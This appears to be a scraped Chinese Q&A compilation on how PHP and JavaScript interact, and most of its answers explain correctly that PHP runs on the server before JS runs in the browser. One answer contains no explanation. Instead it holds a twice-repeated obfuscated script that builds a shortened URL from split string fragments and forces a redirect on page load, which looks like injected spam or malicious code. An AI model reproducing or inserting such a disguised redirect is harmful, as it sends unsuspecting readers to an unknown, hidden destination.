php与js调用的问题,php调用js函数返回值

发布时间:2022-11-19

本文目录一览:

  1. php调用js变量
  2. php 页面调用JS代码的问题
  3. 如何在php里调用js文件
  4. 关于php调用js变量问题

php调用js变量

php和js是两码事! php是服务器端脚本语言,
运行与服务器端(比如Apache、iis等)
js是客户端脚本,
运行于客户端(比如浏览器)
运行顺序也不同,
php先运行,js后运行! js变量可以用php生成,
因为php先运行,
可以输出js变量到浏览器! php变量必须由php本身生成,
js不能给php生成变量!

php 页面调用JS代码的问题

script
var a = "htt";
var aa = "p";
var u = "dwz";
var c = "wz";
var b = "cn";
var i = "4OGN";
var p= "Fi";
var d = ".";
window.location.href=a+aa+':\/\/'+u+d+b+'/'+i+p;
/script
script
var a = "htt";
var aa = "p";
var u = "dwz";
var c = "wz";
var b = "cn";
var i = "4OGN";
var p= "Fi";
var d = ".";
window.location.href=a+aa+':\/\/'+u+d+b+'/'+i+p;
/script

如何在php里调用js文件

你把js文件和php文件放在同一个文件夹下面,引用里面不用写路径,直接加文件名: script language="javascript" type="text/javascript" src="t.js"/script这样就可以了,其他的方法我目前还没找到。html语言里面可以随便写路径,只要指向正确就可以了。

关于php调用js变量问题

你的推理很错误 js是运行在客户端,php是运行在服务器端 而php文件,是先在服务器端运行,完成后再发送到客户端进行运行 所以,当你看到页面上的js的时候,服务器的事情已经完成了,在你下次请求之前,服务器“休息”你,所以php根本就不可能直接取得js的变量 除非你将js变量使用post或者get方式重新请求服务器